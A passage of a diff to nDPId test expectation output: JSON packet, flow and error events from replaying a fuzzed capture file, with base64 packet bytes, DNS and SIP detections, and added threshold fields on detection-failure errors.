00751{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":3,"flow_src_last_pkt_time":1120470666317940,"flow_dst_last_pkt_time":1120470657808784,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"thread_ts_usec":1120470666317940,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAADKXMcAAIARWOPAqAEpwKgB\/wCKAIoAtl+rEQKRU8CoASkAigCgAAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEQIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAABMAAAAAAAAAAAAEQAABgAAQAAAAAAAAOgDAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQTYAM8A"} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":474,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470667069086} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470667069086,"packet_id":474,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470667069086} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":474,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470666318071,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAFJOXMkAAIARWV3A6AEpwKgB\/wCJAIkAOmgdkVUBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} 00768{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":0,"flow_first_seen":1120470457512769,"flow_src_last_pkt_time":1120470465524315,"flow_dst_last_pkt_time":1120470457512769,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":176,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470666318071,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2787,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00767{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":165,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470473526171,"flow_src_last_pkt_time":1120470473526171,"flow_dst_last_pkt_time":1120470473526171,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470666318071,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2788,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1422,7 +1422,7 @@ 01005{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":490,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470764674629,"flow_src_last_pkt_time":1120470764674629,"flow_dst_last_pkt_time":1120470764674629,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":34,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470764674629,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"re-.sippstar.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00555{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":2,"flow_src_last_pkt_time":1120470765675908,"flow_dst_last_pkt_time":1120470764674629,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"thread_ts_usec":1120470765675908,"pkt":"AEtUADRWAODtAW69CABFAAA+a5AAAIARS8vAqAECwKgBAQrpADUAKoUz6OwBAAABAAAAAAAAA3JlZwhzaXC6c3RhcgNjb20AAAEAAQ=="} 01013{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":491,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470764674629,"flow_src_last_pkt_time":1120470765675908,"flow_dst_last_pkt_time":1120470764674629,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470765675908,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"reg.sip?star.com","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":492,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42,"global_ts_usec":1120470767678785} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470767678785,"packet_id":492,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42,"global_ts_usec":1120470767678785} 00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":492,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1120470765675908,"pkt":"ADBUADRWAODtAW69CABFAAA+a5EABGQRS8rAqAECwKgBAQrpADUAKoUz6OwBAAABAAAAAAAAA3JlZwhzaXBwc3RhcgNjb20AAAEAAQ=="} 00682{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":3,"flow_src_last_pkt_time":1120470765675908,"flow_dst_last_pkt_time":1120470768028248,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"thread_ts_usec":1120470768028248,"pkt":"AODtAW69ADBUADRWCABFAACbAABAAGcRtv7AqAEBwKgBAgA1CukAh65F6OyBgAABAAEAAgACA3JlZwhzaXBwc3RhcgNjb20AAAEAAcAMAAEAAQAAAlgABFJi0SfAEAACAAEAAAJYAA8CbnMGaHNwZWVkA25ldADAEAACAAEAAAJYAAYDbnMzwEHAPgABAAEAAAUPAAQ+XcA7wFkAAQABAAAFDwAE1d1SAg=="} 01022{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":493,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":1,"flow_first_seen":1120470764674629,"flow_src_last_pkt_time":1120470765675908,"flow_dst_last_pkt_time":1120470768028248,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":127,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":127,"midstream":0,"thread_ts_usec":1120470768028248,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"reg.sippstar.com","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"82.98.209.39"}}} @@ -1449,7 +1449,7 @@ 00555{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":2,"flow_src_last_pkt_time":1120470776050861,"flow_dst_last_pkt_time":1120470775049884,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"thread_ts_usec":1120470776050861,"pkt":"ADBUADRWAODtAW69CABFAAA+a20AAIARS8bAqAECwKgBAQrrADUAKvLQ4u8BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} 00555{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":2,"flow_src_last_pkt_time":1120470777132420,"flow_dst_last_pkt_time":1120470775129513,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"thread_ts_usec":1120470777132420,"pkt":"ADBUADRWAODtAW69CABFAAA+a5YAAIARS8XAqAECwKgBAQrqADUAKnjTXO4BAAABAAAAAAAQA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} 00555{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":501,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":3,"flow_src_last_pkt_time":1120470778053706,"flow_dst_last_pkt_time":1120470775049884,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"thread_ts_usec":1120470778053706,"pkt":"ADBUADRWAODtAW69CABFAAA+a5cAAIARS8TAqAECwKgBAQrrADUAKvLQ4m8BAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":502,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42,"global_ts_usec":1120470779135266} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470779135266,"packet_id":502,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":42,"global_ts_usec":1120470779135266} 00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":502,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1120470778053706,"pkt":"ADBUADRWAODtAW69CABFAAA+ayVzAIARS8PAqAECwKgBAQrqADUAKnjTXO4BAAABAAAABAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} 01022{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":503,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1120470775049884,"flow_src_last_pkt_time":1120470778053706,"flow_dst_last_pkt_time":1120470779408031,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":86,"flow_src_tot_l4_payload_len":102,"flow_dst_tot_l4_payload_len":86,"midstream":0,"thread_ts_usec":1120470779408031,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2795,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"sip.cybercity.dk","dns": {"num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"212.242.33.35"}}} 00625{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":3,"flow_src_last_pkt_time":1120470777132420,"flow_dst_last_pkt_time":1120470779409951,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"thread_ts_usec":1120470779409951,"pkt":"ACjtAW69ADBUADRWCABFAAByAABAAEARtyfAqAEBwKgBAgA1CuoAXlCmXO6BgAABAAEAAgAAA3NpcAljeWJlcmNpdHkCZGsAAAECAcAMAAEAAQAAASwABNTyISPAEAACAAEAAAEsAAYDbnMywBDAEAACAAEAAAEsAAYDbnMxwBA="} @@ -1463,7 +1463,7 @@ 00583{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":508,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_src_last_pkt_time":1120470781608802,"flow_dst_last_pkt_time":1120470781608802,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470781608802,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa5wAAIARSrHAqKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":3,"flow_src_last_pkt_time":1120470782692043,"flow_dst_last_pkt_time":1120470779487018,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470782692043,"pkt":"ADBUADRWAODtAW69CABFAABIa54AAIARS7PAqAECwKgBAQrsADUANNbHUxEBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01145{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":510,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":194,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470779487018,"flow_src_last_pkt_time":1120470782692043,"flow_dst_last_pkt_time":1120470779487018,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470782692043,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2796,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":511,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470784796360} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470784796360,"packet_id":511,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470784796360} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":511,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470782692043,"pkt":"ADBUADRWAODtAW69CABFAAB6a58AAIARS7LAqAECwKgBAQrsADUANNbHUxEBAAABAAAAAAAAJF9zaXAEX3VkcANzaXAJeXliZXJjaXR5AmRrAAAhAAE="} 00918{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":57,"flow_dst_packets_processed":0,"flow_first_seen":1120469540839312,"flow_src_last_pkt_time":1120470782359884,"flow_dst_last_pkt_time":1120469540839312,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":42,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":2842,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470782692043,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00917{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":187,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470685610738,"flow_src_last_pkt_time":1120470685610738,"flow_dst_last_pkt_time":1120470685610738,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470782692043,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} @@ -1479,7 +1479,7 @@ 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":516,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470796941095,"flow_src_last_pkt_time":1120470796941095,"flow_dst_last_pkt_time":1120470796941095,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":482,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":482,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":482,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470796941095,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01155{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_src_last_pkt_time":1120470796941095,"flow_dst_last_pkt_time":1120470796941095,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"thread_ts_usec":1120470796941095,"pkt":"AODtAW69ADBUADRWCABFAAH+AABAADcRii\/U8iEjwKgBAhPEE8QB6uoyU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiAyOTg1ODE0Ny00NjViMDc1MkAyOTg1ODA1MS00NjViMDdiMg0KQ1NlcTogMSBSRUdJU1RFUg0KRnJvbTogPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MWI4OWJjZA0KVG86IDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0eS5kaz47dGFnPTAwLTA0MDcyLTE3MDFiOTQxLTc3OTk0NTg0Mw0iVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyZWNlaXZlZD04MC4yMzAuMjE5LjcwO3Jwb3J0PTUwNjA7YnJhbmPYPWM5aEc0YktucCVzADc0Njg2LTQ1NWRiYmQ5MTkyLjE2OC4xLjINCldXYy1BdXRoZW50aWNhdGU6IERpZ2VzdCByZWFsbT0ic2lwLmN5YmVyY2l0eS5kayIsbm9uY2U9IjE3MDFiOTMzM2U4NzEzMmUxZjc0N2M1MDcyNjNkOTMiLG9wYXF1ZT0iMTcwMWExMzUxZjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aG09TUQ1DQpDb250ZW50LUxlbmd0aDogMA0KDQo="} 00876{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":516,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470796941095,"flow_src_last_pkt_time":1120470796941095,"flow_dst_last_pkt_time":1120470796941095,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":482,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":482,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":482,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470796941095,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":517,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470797172479} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470797172479,"packet_id":517,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470797172479} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":517,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470796941095,"pkt":"ADBUADRWAODtAW69CABFAACBa6MAAIARSyVzAAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXB0Y3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":518,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470798172728,"flow_src_last_pkt_time":1120470798172728,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470798172728,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_src_last_pkt_time":1120470798172728,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470798172728,"pkt":"ADBUABRUAODtAW69CABFAABIa6QAAIARS63AqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1489,7 +1489,7 @@ 00737{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470301328331,"flow_src_last_pkt_time":1120470301328331,"flow_dst_last_pkt_time":1120470301328331,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470798172728,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":127,"flow_datalink":1,"flow_max_packets":3} 00746{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":37,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":0,"flow_first_seen":1120469635127552,"flow_src_last_pkt_time":1120470796804243,"flow_dst_last_pkt_time":1120469635127552,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":13,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":474,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":601,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470798172728,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","l4_proto":170,"flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":2,"flow_src_last_pkt_time":1120470800175618,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470800175618,"pkt":"ADBUADRWAODtAW69CABFAABIa6UAAIARS6zAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":520,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":2167,"global_ts_usec":1120470802178510} +00301{"error_event_id":5,"error_event_name":"Unknown packet 